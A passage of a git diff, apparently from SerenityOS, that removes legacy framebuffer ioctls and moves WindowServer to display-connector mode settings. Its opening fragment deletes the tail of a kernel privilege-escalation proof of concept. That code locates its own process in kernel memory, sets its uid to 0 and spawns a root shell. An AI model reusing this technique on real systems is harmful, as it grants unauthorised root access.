struct ProcessList { - uintptr_t head; - uintptr_t tail; - }; - - struct Process { - // 32 next - // 40 pid - // 44 uid - u8 dummy[32]; - uintptr_t next; - u8 dummy2[4]; - pid_t pid; - uid_t uid; - }; - - ProcessList* process_list = (ProcessList*)get_ptr(g_processes); - - Process* process = (Process*)get_ptr(process_list->head); - - printf("{%p} PID: %d, UID: %d, next: %p\n", process, process->pid, process->uid, (void*)process->next); - - if (process->pid == getpid()) { - printf("That's me! Let's become r00t!\n"); - process->uid = 0; - } - - FBHeadResolution original_resolution; - original_resolution.head_index = 0; - original_resolution.width = original_properties.width; - original_resolution.height = original_properties.height; - original_resolution.pitch = original_properties.pitch; - if (ioctl(fd, GRAPHICS_IOCTL_SET_HEAD_RESOLUTION, &original_resolution) < 0) { - perror("ioctl"); - return 1; - } - - execl("/bin/sh", "sh", nullptr); - - return 0; -} diff --git a/Userland/Applications/DisplaySettings/MonitorSettingsWidget.cpp b/Userland/Applications/DisplaySettings/MonitorSettingsWidget.cpp index eec77d796b..7d384a1b59 100644 --- a/Userland/Applications/DisplaySettings/MonitorSettingsWidget.cpp +++ b/Userland/Applications/DisplaySettings/MonitorSettingsWidget.cpp @@ -148,8 +148,7 @@ void MonitorSettingsWidget::load_current_settings() size_t virtual_screen_count = 0; for (size_t i = 0; i < m_screen_layout.screens.size(); i++) { String screen_display_name; - if (m_screen_layout.screens[i].mode == WindowServer::ScreenLayout::Screen::Mode::Device - || m_screen_layout.screens[i].mode == WindowServer::ScreenLayout::Screen::Mode::DisplayConnectorDevice) { + if (m_screen_layout.screens[i].mode == WindowServer::ScreenLayout::Screen::Mode::Device) { if (auto edid = EDID::Parser::from_framebuffer_device(m_screen_layout.screens[i].device.value(), 0); !edid.is_error()) { // TODO: multihead screen_display_name = display_name_from_edid(edid.value()); m_screen_edids.append(edid.release_value()); diff --git a/Userland/DevTools/UserspaceEmulator/Emulator_syscalls.cpp b/Userland/DevTools/UserspaceEmulator/Emulator_syscalls.cpp index a663453c0c..8d42441ef5 100644 --- a/Userland/DevTools/UserspaceEmulator/Emulator_syscalls.cpp +++ b/Userland/DevTools/UserspaceEmulator/Emulator_syscalls.cpp @@ -1165,13 +1165,6 @@ int Emulator::virt$ioctl([[maybe_unused]] int fd, unsigned request, [[maybe_unus mmu().copy_to_vm(arg, &size, sizeof(size)); return rc; } - case GRAPHICS_IOCTL_SET_HEAD_RESOLUTION: { - FBHeadResolution user_resolution; - mmu().copy_from_vm(&user_resolution, arg, sizeof(user_resolution)); - auto rc = syscall(SC_ioctl, fd, request, &user_resolution); - mmu().copy_to_vm(arg, &user_resolution, sizeof(user_resolution)); - return rc; - } case GRAPHICS_IOCTL_SET_HEAD_VERTICAL_OFFSET_BUFFER: return syscall(SC_ioctl, fd, request, arg); case FIONBIO: { diff --git a/Userland/Libraries/LibC/sys/ioctl_numbers.h b/Userland/Libraries/LibC/sys/ioctl_numbers.h index 294576590e..68a492c583 100644 --- a/Userland/Libraries/LibC/sys/ioctl_numbers.h +++ b/Userland/Libraries/LibC/sys/ioctl_numbers.h @@ -26,18 +26,6 @@ struct GraphicsConnectorProperties { unsigned char refresh_rate_support; }; -// FIXME: Remove this once framebuffer devices are removed. -struct FBHeadProperties { - int head_index; - - unsigned pitch; - unsigned width; - unsigned height; - - unsigned offset; - unsigned buffer_length; -}; - struct GraphicsHeadModeSetting { int horizontal_stride; int pixel_clock_in_khz; @@ -53,14 +41,6 @@ struct GraphicsHeadModeSetting { int vertical_offset; }; -// FIXME: Remove this once framebuffer devices are removed. -struct FBHeadResolution { - int head_index; - int pitch; - int width; - int height; -}; - struct GraphicsHeadEDID { int head_index; @@ -114,8 +94,6 @@ enum IOCtlNumber { TIOCSWINSZ, TIOCGPTN, GRAPHICS_IOCTL_GET_PROPERTIES, - GRAPHICS_IOCTL_GET_HEAD_PROPERTIES, - GRAPHICS_IOCTL_SET_HEAD_RESOLUTION, GRAPHICS_IOCTL_GET_HEAD_EDID, GRAPHICS_IOCTL_SET_HEAD_VERTICAL_OFFSET_BUFFER, GRAPHICS_IOCTL_GET_HEAD_VERTICAL_OFFSET_BUFFER, @@ -176,9 +154,7 @@ enum IOCtlNumber { #define TIOCSWINSZ TIOCSWINSZ #define TIOCGPTN TIOCGPTN #define GRAPHICS_IOCTL_GET_PROPERTIES GRAPHICS_IOCTL_GET_PROPERTIES -#define GRAPHICS_IOCTL_GET_HEAD_PROPERTIES GRAPHICS_IOCTL_GET_HEAD_PROPERTIES #define GRAPHICS_IOCTL_GET_HEAD_EDID GRAPHICS_IOCTL_GET_HEAD_EDID -#define GRAPHICS_IOCTL_SET_HEAD_RESOLUTION GRAPHICS_IOCTL_SET_HEAD_RESOLUTION #define GRAPHICS_IOCTL_SET_HEAD_VERTICAL_OFFSET_BUFFER GRAPHICS_IOCTL_SET_HEAD_VERTICAL_OFFSET_BUFFER #define GRAPHICS_IOCTL_GET_HEAD_VERTICAL_OFFSET_BUFFER GRAPHICS_IOCTL_GET_HEAD_VERTICAL_OFFSET_BUFFER #define GRAPHICS_IOCTL_FLUSH_HEAD_BUFFERS GRAPHICS_IOCTL_FLUSH_HEAD_BUFFERS diff --git a/Userland/Services/WindowServer/HardwareScreenBackend.cpp b/Userland/Services/WindowServer/HardwareScreenBackend.cpp index cceae2d84e..312d0e621c 100644 --- a/Userland/Services/WindowServer/HardwareScreenBackend.cpp +++ b/Userland/Services/WindowServer/HardwareScreenBackend.cpp @@ -17,9 +17,8 @@ namespace WindowServer { -HardwareScreenBackend::HardwareScreenBackend(String device, bool display_connector_device_backed) +HardwareScreenBackend::HardwareScreenBackend(String device) : m_device(move(device)) - , display_connector_device_backed(display_connector_device_backed) { } @@ -44,38 +43,26 @@ HardwareScreenBackend::~HardwareScreenBackend() m_framebuffer_fd = -1; } if (m_framebuffer) { - if (!display_connector_device_backed) - MUST(Core::System::munmap(m_framebuffer, m_size_in_bytes)); - else - free(m_framebuffer); + free(m_framebuffer); m_framebuffer = nullptr; m_size_in_bytes = 0; } } -ErrorOr<void> HardwareScreenBackend::set_head_resolution(FBHeadResolution resolution) +ErrorOr<void> HardwareScreenBackend::set_head_mode_setting(GraphicsHeadModeSetting mode_setting) { - if (!display_connector_device_backed) { - auto rc = fb_set_resolution(m_framebuffer_fd, &resolution); - if (rc != 0) - return Error::from_syscall("fb_set_resolution", rc); - } else { - GraphicsHeadModeSetting mode_setting; - memset(&mode_setting, 0, sizeof(GraphicsHeadModeSetting)); - mode_setting.horizontal_active = resolution.width; - mode_setting.vertical_active = resolution.height; - mode_setting.horizontal_stride = resolution.pitch; - auto rc = graphics_connector_set_head_mode_setting(m_framebuffer_fd, &mode_setting); + + GraphicsHeadModeSetting requested_mode_setting = mode_setting; + auto rc = graphics_connector_set_head_mode_setting(m_framebuffer_fd, &requested_mode_setting); + if (rc != 0) { + dbgln("Failed to set backend mode setting: falling back to safe resolution"); + rc = graphics_connector_set_safe_head_mode_setting(m_framebuffer_fd); if (rc != 0) { - dbgln("Failed to set backend mode setting: falling back to safe resolution"); - rc = graphics_connector_set_safe_head_mode_setting(m_framebuffer_fd); - if (rc != 0) { - dbgln("Failed to set backend safe mode setting: aborting"); - return Error::from_syscall("graphics_connector_set_safe_head_mode_setting", rc); - } - dbgln("Failed to set backend mode setting: falling back to safe resolution - success."); + dbgln("Failed to set backend safe mode setting: aborting"); + return Error::from_syscall("graphics_connector_set_safe_head_mode_setting", rc); } + dbgln("Failed to set backend mode setting: falling back to safe resolution - success."); } return {}; @@ -84,20 +71,13 @@ ErrorOr<void> HardwareScreenBackend::set_head_resolution(FBHeadResolution resolu ErrorOr<void> HardwareScreenBackend::unmap_framebuffer() { if (m_framebuffer) { - if (!display_connector_device_backed) { - size_t previous_size_in_bytes = m_size_in_bytes; - return Core::System::munmap(m_framebuffer, previous_size_in_bytes); - } else { - free(m_framebuffer); - } + free(m_framebuffer); } return {}; } ErrorOr<void> HardwareScreenBackend::write_all_contents(Gfx::IntRect const& virtual_rect) { - if (!display_connector_device_backed) - return {}; lseek(m_framebuffer_fd, 0, SEEK_SET); write(m_framebuffer_fd, scanline(0, 0), virtual_rect.height() * m_pitch); if (m_can_set_head_buffer) { @@ -113,80 +93,38 @@ ErrorOr<void> HardwareScreenBackend::write_all_contents(Gfx::IntRect const& virt ErrorOr<void> HardwareScreenBackend::map_framebuffer() { - if (!display_connector_device_backed) { - FBHeadProperties properties; - properties.head_index = 0; - int rc = fb_get_head_properties(m_framebuffer_fd, &properties); - if (rc != 0) - return Error::from_syscall("fb_get_head_properties", rc); - m_size_in_bytes = properties.buffer_length; - - m_framebuffer = (Gfx::ARGB32*)TRY(Core::System::mmap(nullptr, m_size_in_bytes, PROT_READ | PROT_WRITE, MAP_SHARED, m_framebuffer_fd, 0)); - - if (m_can_set_head_buffer) { - // Note: fall back to assuming the second buffer starts right after the last line of the first - // Note: for now, this calculation works quite well, so need to defer it to another function - // that does ioctl to figure out the correct offset. If a Framebuffer device ever happens to - // to set the second buffer at different location than this, we might need to consider bringing - // back a function with ioctl to check this. - m_back_buffer_offset = static_cast<size_t>(properties.pitch) * properties.height; - } else { - m_back_buffer_offset = 0; - } + GraphicsHeadModeSetting mode_setting {}; + memset(&mode_setting, 0, sizeof(GraphicsHeadModeSetting)); + int rc = graphics_connector_get_head_mode_setting(m_framebuffer_fd, &mode_setting); + if (rc != 0) { + return Error::from_syscall("graphics_connector_get_head_mode_setting", rc); + } + m_size_in_bytes = mode_setting.horizontal_stride * mode_setting.vertical_active * 2; + m_framebuffer = (Gfx::ARGB32*)malloc(m_size_in_bytes); + if (m_can_set_head_buffer) { + // Note: fall back to assuming the second buffer starts right after the last line of the first + // Note: for now, this calculation works quite well, so need to defer it to another function + // that does ioctl to figure out the correct offset. If a Framebuffer device ever happens to + // to set the second buffer at different location than this, we might need to consider bringing + // back a function with ioctl to check this. + m_back_buffer_offset = static_cast<size_t>(mode_setting.horizontal_stride) * mode_setting.vertical_active; } else { - GraphicsHeadModeSetting mode_setting {}; - memset(&mode_setting, 0, sizeof(GraphicsHeadModeSetting)); - int rc = graphics_connector_get_head_mode_setting(m_framebuffer_fd, &mode_setting); - if (rc != 0) { - return Error::from_syscall("graphics_connector_get_head_mode_setting", rc); - } - m_size_in_bytes = mode_setting.horizontal_stride * mode_setting.vertical_active * 2; - m_framebuffer = (Gfx::ARGB32*)malloc(m_size_in_bytes); - if (m_can_set_head_buffer) { - // Note: fall back to assuming the second buffer starts right after the last line of the first - // Note: for now, this calculation works quite well, so need to defer it to another function - // that does ioctl to figure out the correct offset. If a Framebuffer device ever happens to - // to set the second buffer at different location than this, we might need to consider bringing - // back a function with ioctl to check this. - m_back_buffer_offset = static_cast<size_t>(mode_setting.horizontal_stride) * mode_setting.vertical_active; - } else { - m_back_buffer_offset = 0; - } + m_back_buffer_offset = 0; } return {}; } -ErrorOr<FBHeadProperties> HardwareScreenBackend::get_head_properties() +ErrorOr<GraphicsHeadModeSetting> HardwareScreenBackend::get_head_mode_setting() { - if (!display_connector_device_backed) { - FBHeadProperties properties; - properties.head_index = 0; - int rc = fb_get_head_properties(m_framebuffer_fd, &properties); - if (rc != 0) - return Error::from_syscall("fb_get_head_properties", rc); - m_pitch = static_cast<int>(properties.pitch); - return properties; - } else { - GraphicsHeadModeSetting mode_setting {}; - memset(&mode_setting, 0, sizeof(GraphicsHeadModeSetting)); - int rc = graphics_connector_get_head_mode_setting(m_framebuffer_fd, &mode_setting); - if (rc != 0) { - return Error::from_syscall("graphics_connector_get_head_mode_setting", rc); - } - m_pitch = mode_setting.horizontal_stride; - // Note: We translate (for now, until Framebuffer devices are removed) the GraphicsHeadModeSetting - // structure to FBHeadProperties. - FBHeadProperties properties; - properties.head_index = 0; - properties.pitch = mode_setting.horizontal_stride; - properties.width = mode_setting.horizontal_active; - properties.height = mode_setting.vertical_active; - properties.offset = 0; - properties.buffer_length = mode_setting.horizontal_stride * mode_setting.vertical_active * 2; - return properties; + GraphicsHeadModeSetting mode_setting {}; + memset(&mode_setting, 0, sizeof(GraphicsHeadModeSetting)); + int rc = graphics_connector_get_head_mode_setting(m_framebuffer_fd, &mode_setting); + if (rc != 0) { + return Error::from_syscall("graphics_connector_get_head_mode_setting", rc); } - VERIFY_NOT_REACHED(); + m_pitch = mode_setting.horizontal_stride; + return mode_setting; } void HardwareScreenBackend::set_head_buffer(int head_index) diff --git a/Userland/Services/WindowServer/HardwareScreenBackend.h b/Userland/Services/WindowServer/HardwareScreenBackend.h index 16e3deeaa9..5b3ca73d75 100644 --- a/Userland/Services/WindowServer/HardwareScreenBackend.h +++ b/Userland/Services/WindowServer/HardwareScreenBackend.h @@ -18,7 +18,7 @@ class HardwareScreenBackend : public ScreenBackend { public: virtual ~HardwareScreenBackend(); - HardwareScreenBackend(String device, bool display_connector_device_backed); + explicit HardwareScreenBackend(String device); virtual ErrorOr<void> open() override; @@ -31,14 +31,13 @@ public: virtual ErrorOr<void> unmap_framebuffer() override; virtual ErrorOr<void> map_framebuffer() override; - virtual ErrorOr<void> set_head_resolution(FBHeadResolution) override; - virtual ErrorOr<FBHeadProperties> get_head_properties() override; + virtual ErrorOr<void> set_head_mode_setting(GraphicsHeadModeSetting) override; + virtual ErrorOr<GraphicsHeadModeSetting> get_head_mode_setting() override; virtual ErrorOr<void> write_all_contents(Gfx::IntRect const&) override; String m_device {}; int m_framebuffer_fd { -1 }; - bool const display_connector_device_backed { false }; Gfx::ARGB32* scanline(int buffer_index, int y) const { diff --git a/Userland/Services/WindowServer/Screen.cpp b/Userland/Services/WindowServer/Screen.cpp index de3a1e75e3..272f14bef6 100644 --- a/Userland/Services/WindowServer/Screen.cpp +++ b/Userland/Services/WindowServer/Screen.cpp @@ -231,7 +231,7 @@ bool Screen::open_device() switch (info.mode) { case ScreenLayout::Screen::Mode::Device: { - m_backend = make<HardwareScreenBackend>(info.device.value(), false); + m_backend = make<HardwareScreenBackend>(info.device.value()); auto return_value = m_backend->open(); if (return_value.is_error()) { dbgln("Screen #{}: Failed to open backend: {}", index(), return_value.error()); @@ -241,17 +241,6 @@ bool Screen::open_device() set_resolution(true); return true; } - case ScreenLayout::Screen::Mode::DisplayConnectorDevice: { - m_backend = make<HardwareScreenBackend>(info.device.value(), true); - auto return_value = m_backend->open(); - if (return_value.is_error()) { - dbgln("Screen #{}: Failed to open display connector backend: {}", index(), return_value.error()); - return false; - } - - set_resolution(true); - return true; - } case ScreenLayout::Screen::Mode::Virtual: { m_backend = make<VirtualScreenBackend>(); // Virtual device open should never fail. @@ -335,9 +324,21 @@ bool Screen::set_resolution(bool initial) ErrorOr<void> return_value = Error::from_errno(EINVAL); { - // FIXME: Add multihead support for one framebuffer - FBHeadResolution physical_resolution { 0, 0, info.resolution.width(), info.resolution.height() }; - return_value = m_backend->set_head_resolution(physical_resolution); + GraphicsHeadModeSetting requested_mode_setting; + memset(&requested_mode_setting, 0, sizeof(GraphicsHeadModeSetting)); + requested_mode_setting.horizontal_stride = info.resolution.width() * 4; + requested_mode_setting.pixel_clock_in_khz = 0; + requested_mode_setting.horizontal_active = info.resolution.width(); + requested_mode_setting.horizontal_front_porch_pixels = 0; + requested_mode_setting.horizontal_sync_time_pixels = 0; + requested_mode_setting.horizontal_blank_pixels = 0; + requested_mode_setting.vertical_active = info.resolution.height(); + requested_mode_setting.vertical_front_porch_lines = 0; + requested_mode_setting.vertical_sync_time_lines = 0; + requested_mode_setting.vertical_blank_lines = 0; + requested_mode_setting.horizontal_offset = 0; + requested_mode_setting.vertical_offset = 0; + return_value = m_backend->set_head_mode_setting(requested_mode_setting); } dbgln_if(WSSCREEN_DEBUG, "Screen #{}: fb_set_resolution() - success", index()); @@ -347,8 +348,8 @@ bool Screen::set_resolution(bool initial) TRY(m_backend->unmap_framebuffer()); TRY(m_backend->map_framebuffer()); } - auto properties = TRY(m_backend->get_head_properties()); - info.resolution = { properties.width, properties.height }; + auto mode_setting = TRY(m_backend->get_head_mode_setting()); + info.resolution = { mode_setting.horizontal_active, mode_setting.vertical_active }; update_virtual_rect(); diff --git a/Userland/Services/WindowServer/ScreenBackend.h b/Userland/Services/WindowServer/ScreenBackend.h index efc158e484..4e76095066 100644 --- a/Userland/Services/WindowServer/ScreenBackend.h +++ b/Userland/Services/WindowServer/ScreenBackend.h @@ -33,8 +33,8 @@ public: virtual ErrorOr<void> flush_framebuffer() = 0; - virtual ErrorOr<void> set_head_resolution(FBHeadResolution) = 0; - virtual ErrorOr<FBHeadProperties> get_head_properties() = 0; + virtual ErrorOr<void> set_head_mode_setting(GraphicsHeadModeSetting) = 0; + virtual ErrorOr<GraphicsHeadModeSetting> get_head_mode_setting() = 0; virtual ErrorOr<void> write_all_contents(Gfx::IntRect const&) { return {}; } diff --git a/Userland/Services/WindowServer/ScreenLayout.h b/Userland/Services/WindowServer/ScreenLayout.h index 039a7d48c2..3fd66a5a0f 100644 --- a/Userland/Services/WindowServer/ScreenLayout.h +++ b/Userland/Services/WindowServer/ScreenLayout.h @@ -21,7 +21,6 @@ public: enum class Mode { Invalid, Device, - DisplayConnectorDevice, Virtual, } mode; Optional<String> device; @@ -43,7 +42,6 @@ public: switch (mode) { __ENUMERATE_MODE_ENUM(Invalid) __ENUMERATE_MODE_ENUM(Device) - __ENUMERATE_MODE_ENUM(DisplayConnectorDevice) __ENUMERATE_MODE_ENUM(Virtual) } VERIFY_NOT_REACHED(); @@ -61,8 +59,6 @@ public: bool normalize(); bool load_config(Core::ConfigFile const& config_file, String* error_msg = nullptr); bool save_config(Core::ConfigFile& config_file, bool sync = true) const; - // FIXME: Remove this once framebuffer devices are removed. - bool try_auto_add_framebuffer(String const&); bool try_auto_add_display_connector(String const&); // TODO: spaceship operator diff --git a/Userland/Services/WindowServer/ScreenLayout.ipp b/Userland/Services/WindowServer/ScreenLayout.ipp index 2baa465b58..d7359eca8a 100644 --- a/Userland/Services/WindowServer/ScreenLayout.ipp +++ b/Userland/Services/WindowServer/ScreenLayout.ipp @@ -239,8 +239,6 @@ bool ScreenLayout::load_config(const Core::ConfigFile& config_file, String* erro Screen::Mode mode { Screen::Mode::Invalid }; if (str_mode == "Device") { mode = Screen::Mode::Device; - } else if (str_mode == "DisplayConnectorDevice") { - mode = Screen::Mode::DisplayConnectorDevice; } else if (str_mode == "Virtual") { mode = Screen::Mode::Virtual; } @@ -250,7 +248,7 @@ bool ScreenLayout::load_config(const Core::ConfigFile& config_file, String* erro *this = {}; return false; } - auto device = (mode == Screen::Mode::Device || mode == Screen::Mode::DisplayConnectorDevice) ? config_file.read_entry(group_name, "Device") : Optional<String> {}; + auto device = (mode == Screen::Mode::Device) ? config_file.read_entry(group_name, "Device") : Optional<String> {}; screens.append({ mode, device, { config_file.read_num_entry(group_name, "Left"), config_file.read_num_entry(group_name, "Top") }, { config_file.read_num_entry(group_name, "Width"), config_file.read_num_entry(group_name, "Height") }, @@ -339,7 +337,7 @@ bool ScreenLayout::try_auto_add_display_connector(String const& device_path) } auto append_screen = [&](Gfx::IntRect const& new_screen_rect) { - screens.append({ .mode = Screen::Mode::DisplayConnectorDevice, + screens.append({ .mode = Screen::Mode::Device, .device = device_path, .location = new_screen_rect.location(), .resolution = new_screen_rect.size(), @@ -392,90 +390,6 @@ bool ScreenLayout::try_auto_add_display_connector(String const& device_path) return false; } -// FIXME: Remove this once framebuffer devices are removed. -bool ScreenLayout::try_auto_add_framebuffer(String const& device_path) -{ - int framebuffer_fd = open(device_path.characters(), O_RDWR | O_CLOEXEC); - if (framebuffer_fd < 0) { - int err = errno; - dbgln("Error ({}) opening framebuffer device {}", err, device_path); - return false; - } - ScopeGuard fd_guard([&] { - close(framebuffer_fd); - }); - // FIXME: Add multihead support for one framebuffer - FBHeadResolution resolution {}; - memset(&resolution, 0, sizeof(FBHeadResolution)); - if (fb_get_resolution(framebuffer_fd, &resolution) < 0) { - int err = errno; - dbgln("Error ({}) querying resolution from framebuffer device {}", err, device_path); - return false; - } - if (resolution.width == 0 || resolution.height == 0) { - // Looks like the display is not turned on. Since we don't know what the desired - // resolution should be, use the main display as reference. - if (screens.is_empty()) - return false; - auto& main_screen = screens[main_screen_index]; - resolution.width = main_screen.resolution.width(); - resolution.height = main_screen.resolution.height(); - } - - auto append_screen = [&](Gfx::IntRect const& new_screen_rect) { - screens.append({ .mode = Screen::Mode::Device, - .device = device_path, - .location = new_screen_rect.location(), - .resolution = new_screen_rect.size(), - .scale_factor = 1 }); - }; - - if (screens.is_empty()) { - append_screen({ 0, 0, (int)resolution.width, (int)resolution.height }); - return true; - } - - auto original_screens = move(screens); - screens = original_screens; - ArmedScopeGuard screens_guard([&] { - screens = move(original_screens); - }); - - // Now that we know the current resolution, try to find a location that we can add onto - // TODO: make this a little more sophisticated in case a more complex layout is already configured - for (auto& screen : screens) { - auto screen_rect = screen.virtual_rect(); - Gfx::IntRect new_screen_rect { - screen_rect.right() + 1, - screen_rect.top(), - (int)resolution.width, - (int)resolution.height - }; - - bool collision = false; - for (auto& other_screen : screens) { - if (&screen == &other_screen) - continue; - if (other_screen.virtual_rect().intersects(new_screen_rect)) { - collision = true; - break; - } - } - - if (!collision) { - append_screen(new_screen_rect); - if (is_valid()) { - // We got lucky! - screens_guard.disarm(); - return true; - } - } - } - - dbgln("Failed to add framebuffer device {} with resolution {}x{} to screen layout", device_path, resolution.width, resolution.height); - return false; -} - } namespace IPC { diff --git a/Userland/Services/WindowServer/VirtualScreenBackend.cpp b/Userland/Services/WindowServer/VirtualScreenBackend.cpp index f6d2b3dfc1..11a7bc0f2e 100644 --- a/Userland/Services/WindowServer/VirtualScreenBackend.cpp +++ b/Userland/Services/WindowServer/VirtualScreenBackend.cpp @@ -31,31 +31,35 @@ void VirtualScreenBackend::set_head_buffer(int index) m_first_buffer_active = index == 0; } -ErrorOr<void> VirtualScreenBackend::set_head_resolution(FBHeadResolution resolution) +ErrorOr<void> VirtualScreenBackend::set_head_mode_setting(GraphicsHeadModeSetting mode_setting) { - if (resolution.head_index != 0) - return Error::from_string_literal("Only head index 0 is supported."sv); - m_height = resolution.height; + m_height = mode_setting.vertical_active; - if (resolution.pitch == 0) - resolution.pitch = static_cast<int>(resolution.width * sizeof(Gfx::ARGB32)); - m_pitch = resolution.pitch; - if (static_cast<int>(resolution.width * sizeof(Gfx::ARGB32)) != resolution.pitch) + if (mode_setting.horizontal_stride == 0) + mode_setting.horizontal_stride = static_cast<int>(mode_setting.horizontal_active * sizeof(Gfx::ARGB32)); + m_pitch = mode_setting.horizontal_stride; + if (static_cast<int>(mode_setting.horizontal_active * sizeof(Gfx::ARGB32)) != mode_setting.horizontal_stride) return Error::from_string_literal("Unsupported pitch"sv); - m_width = resolution.width; + m_width = mode_setting.horizontal_active; return {}; } -ErrorOr<FBHeadProperties> VirtualScreenBackend::get_head_properties() +ErrorOr<GraphicsHeadModeSetting> VirtualScreenBackend::get_head_mode_setting() { - return FBHeadProperties { - .head_index = 0, - .pitch = static_cast<unsigned>(m_pitch), - .width = static_cast<unsigned>(m_width), - .height = static_cast<unsigned>(m_height), - .offset = static_cast<unsigned>(m_first_buffer_active ? 0 : m_back_buffer_offset), - .buffer_length = static_cast<unsigned>(m_size_in_bytes), + return GraphicsHeadModeSetting { + .horizontal_stride = m_pitch, + .pixel_clock_in_khz = 0, + .horizontal_active = m_width, + .horizontal_front_porch_pixels = 0, + .horizontal_sync_time_pixels = 0, + .horizontal_blank_pixels = 0, + .vertical_active = m_height, + .vertical_front_porch_lines = 0, + .vertical_sync_time_lines = 0, + .vertical_blank_lines = 0, + .horizontal_offset = 0, + .vertical_offset = 0, }; } diff --git a/Userland/Services/WindowServer/VirtualScreenBackend.h b/Userland/Services/WindowServer/VirtualScreenBackend.h index 647acdd327..808d43259f 100644 --- a/Userland/Services/WindowServer/VirtualScreenBackend.h +++ b/Userland/Services/WindowServer/VirtualScreenBackend.h @@ -35,8 +35,8 @@ private: virtual ErrorOr<void> unmap_framebuffer() override; virtual ErrorOr<void> map_framebuffer() override; - virtual ErrorOr<void> set_head_resolution(FBHeadResolution) override; - virtual ErrorOr<FBHeadProperties> get_head_properties() override; + virtual ErrorOr<void> set_head_mode_setting(GraphicsHeadModeSetting) override; + virtual ErrorOr<GraphicsHeadModeSetting> get_head_mode_setting() override; int m_height { 0 }; int m_width { 0 }; diff --git a/Userland/Services/WindowServer/main.cpp b/Userland/Services/WindowServer/main.cpp index eb050c70a7..934428460d 100644 --- a/Userland/Services/WindowServer/main.cpp +++ b/Userland/Services/WindowServer/main.cpp @@ -68,25 +68,6 @@ ErrorOr<int> serenity_main(Main::Arguments) WindowServer::ScreenLayout screen_layout; String error_msg; - // FIXME: Remove this once framebuffer devices are removed. - auto add_unconfigured_framebuffer_devices = [&]() { - // Enumerate the /dev/fbX devices and try to set up any ones we find that we haven't already used - Core::DirIterator di("/dev", Core::DirIterator::SkipParentAndBaseDir); - while (di.has_next()) { - auto path = di.next_path(); - if (!path.starts_with("fb")) - continue; - auto full_path = String::formatted("/dev/{}", path); - dbgln("{} :", full_path); - if (!Core::File::is_device(full_path)) - continue; - if (fb_devices_configured.find(full_path) != fb_devices_configured.end()) - continue; - if (!screen_layout.try_auto_add_framebuffer(full_path)) - dbgln("Could not auto-add framebuffer device {} to screen layout", full_path); - } - }; - auto add_unconfigured_display_connector_devices = [&]() { // Enumerate the /dev/fbX devices and try to set up any ones we find that we haven't already used Core::DirIterator di("/dev/gpu", Core::DirIterator::SkipParentAndBaseDir); @@ -108,9 +89,6 @@ ErrorOr<int> serenity_main(Main::Arguments) screen_layout = {}; fb_devices_configured = {}; - // FIXME: Remove this once framebuffer devices are removed. - add_unconfigured_framebuffer_devices(); - add_unconfigured_display_connector_devices(); if (!WindowServer::Screen::apply_layout(move(screen_layout), error_msg)) { dbgln("Failed to apply generated fallback screen layout: {}", error_msg); @@ -123,12 +101,9 @@ ErrorOr<int> serenity_main(Main::Arguments) if (screen_layout.load_config(*wm_config, &error_msg)) { for (auto& screen_info : screen_layout.screens) - if (screen_info.mode == WindowServer::ScreenLayout::Screen::Mode::Device || screen_info.mode == WindowServer::ScreenLayout::Screen::Mode::DisplayConnectorDevice) + if (screen_info.mode == WindowServer::ScreenLayout::Screen::Mode::Device) fb_devices_configured.set(screen_info.device.value()); - // FIXME: Remove this once framebuffer devices are removed. - add_unconfigured_framebuffer_devices(); - add_unconfigured_display_connector_devices(); if (!WindowServer::Screen::apply_layout(move(screen_layout), error_msg)) { diff --git a/Userland/Utilities/strace.cpp b/Userland/Utilities/strace.cpp index 449480c476..f39a5239cb 100644 --- a/Userland/Utilities/strace.cpp +++ b/Userland/Utilities/strace.cpp @@ -144,8 +144,8 @@ HANDLE(TIOCSTI) HANDLE(TIOCNOTTY) HANDLE(TIOCSWINSZ) HANDLE(GRAPHICS_IOCTL_GET_PROPERTIES) -HANDLE(GRAPHICS_IOCTL_GET_HEAD_PROPERTIES) -HANDLE(GRAPHICS_IOCTL_SET_HEAD_RESOLUTION) +HANDLE(GRAPHICS_IOCTL_SET_HEAD_MODE_SETTING) +HANDLE(GRAPHICS_IOCTL_GET_HEAD_MODE_SETTING) HANDLE(GRAPHICS_IOCTL_SET_HEAD_VERTICAL_OFFSET_BUFFER) HANDLE(GRAPHICS_IOCTL_GET_HEAD_VERTICAL_OFFSET_BUFFER) HANDLE(GRAPHICS_IOCTL_FLUSH_HEAD_BUFFERS) |